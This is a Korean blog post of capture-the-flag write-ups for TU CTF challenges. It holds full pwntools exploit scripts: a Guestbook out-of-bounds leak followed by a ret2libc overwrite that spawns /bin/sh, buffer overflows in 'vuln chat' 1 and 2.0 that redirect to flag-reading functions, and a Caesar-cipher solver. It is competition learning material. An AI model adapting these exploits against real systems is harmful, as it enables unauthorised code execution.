Profile

머리정리하는곳

c2w2m2

[Tu-ctf] writeup

Guestbook


read - 6번에서 dest 부터 시작해서 다 릭이 가능함 -> heap 주소, system 주소 , libc , binsh 릭 가능


그리고


write - 6번에서 또 dest 부터 다 쓰기가 가능함 -> ㅈㅈ



from pwn import *


p = remote("guestbook.tuctf.com", 4545)
#p = process("./guestbook")
context.log_level = 'debug'


p.sendline("adsf")
p.sendline("qwer")
p.sendline("zvcx")
p.sendline("sdfg")

p.sendline("1")
p.recvuntil("Which entry do you want to view?\n>>>")
p.sendline("6")
heap = list()

for i in range(4):
    heap.append(u32(p.recv(4)[0:]))

p.recv(4) # junk
system = u32(p.recv(4)[0:])

for i in heap:
    print "[Leak-heap] : 0x%x" % i

print "[Leak-system] : 0x%x" % system


libc_base = system - 0x003E3E0
binsh = libc_base + 0x015F551

print "[Libc_base] : 0x%x" % libc_base
print "[BINSH] : 0x%x" % binsh


pay = "A"*48 + p32(system) + "ABCD" + p32(binsh)

p.sendline("2")
p.sendline('6')
p.sendline(pay)
p.sendline('3')
p.interactive()


근데 heap 주소도 릭되서 굳이 libc 안쓰고 heap에다가 /bin/sh 쓰고 해도 된다.


from pwn import *


#p = remote("guestbook.tuctf.com", 4545)
p = process("./guestbook")
context.log_level = 'debug'


p.sendline("/bin/sh")
p.sendline("qwer")
p.sendline("zvcx")
p.sendline("sdfg")

p.sendline("1")
p.recvuntil("Which entry do you want to view?\n>>>")
p.sendline("6")
heap = list()

for i in range(4):
    heap.append(u32(p.recv(4)[0:]))

p.recv(4) # junk
system = u32(p.recv(4)[0:])

for i in heap:
    print "[Leak-heap] : 0x%x" % i

print "[Leak-system] : 0x%x" % system


libc_base = system - 0x003E3E0
binsh = libc_base + 0x015F551

print "[Libc_base] : 0x%x" % libc_base
print "[BINSH] : 0x%x" % binsh


pay = "A"*48 + p32(system) + "ABCD" + p32(heap[0])

p.sendline("2")
p.sendline('6')
p.sendline(pay)
p.sendline('3')
p.interactive()


vuln chat

%30s 로 받는데 이걸 덮을수 있음 => %80s 정도로 덮고 그냥 bof

from pwn import *

p = remote("vulnchat.tuctf.com", 4141)

#p = process("vuln-chat")
context.log_level='debug'
p.sendline('a'*20 + p32(0x73303825))

p.send('q'+p32(0x804856B)*0x40)

print p.recvuntil("Use it wisely")


vuln chat 2.0

vuln chat 보다 훨배쉬움 그냥 ret이 하위 2바이트만 덮임. 그러니 플래그 읽는 함수 하위 2바이트만 넣어주면 됨.


from pwn import *

p = remote("vulnchat2.tuctf.com", 4242)

#p = process("vuln-chat2.0")
context.log_level='debug'
p.sendline('a'*15)
sleep(1)
p.sendline('b'*(0x2d-2) + "\x72\x86")
print p.recvuntil("Don't let anyone get ahold of this")



Never ending crypto

그냥 시저암호가 간격만 다르게 50번 동안 나온다. 별거 없다.


from pwn import *
import string

p = remote("neverending.tuctf.com", 12345)
context.log_level = 'debug'
while True:
    key = 'a'
    p.sendline(key)

    p.recvuntil("encrypted is ")

    enc = p.recvline()

    print "[ENC] %s" %enc

    p.recvuntil("What is ")

    cry = p.recvline()
    cry = cry[:cry.find(" decrypted?")].rstrip()

    print "[CRY] %s" % cry


    res = list()

    for i in range(0,len(key)):
        res.append(ord(enc[i]) - ord(key[i]))

    print res
    dap = list()

    for i in range(0,len(cry)):
        if((ord(cry[i]) - res[0]) >= 127):
            dap.append(chr((ord(cry[i]) - res[0])-95))
        elif((ord(cry[i]) - res[0]) <= 31):
            dap.append(chr((ord(cry[i]) - res[0])+95))
        else:
            dap.append(chr((ord(cry[i]) - res[0])))

    print dap

    p.sendline(''.join(dap))
    sleep(1)
    print p.recv(2048)
    print p.recv(2048)



그 외 웹2개도 풀었는데 너무 쉬워서 패스,,,

'CTF Writeup' 카테고리의 다른 글

[ROOT] Write up  (0) 2017.12.24
[SECCON] writeup  (0) 2017.12.10
ubuntu ctf write up  (0) 2017.11.06
[Cyber-guardians] 본선 write up  (0) 2017.11.02
[화이트해커리그] Write up  (0) 2017.11.01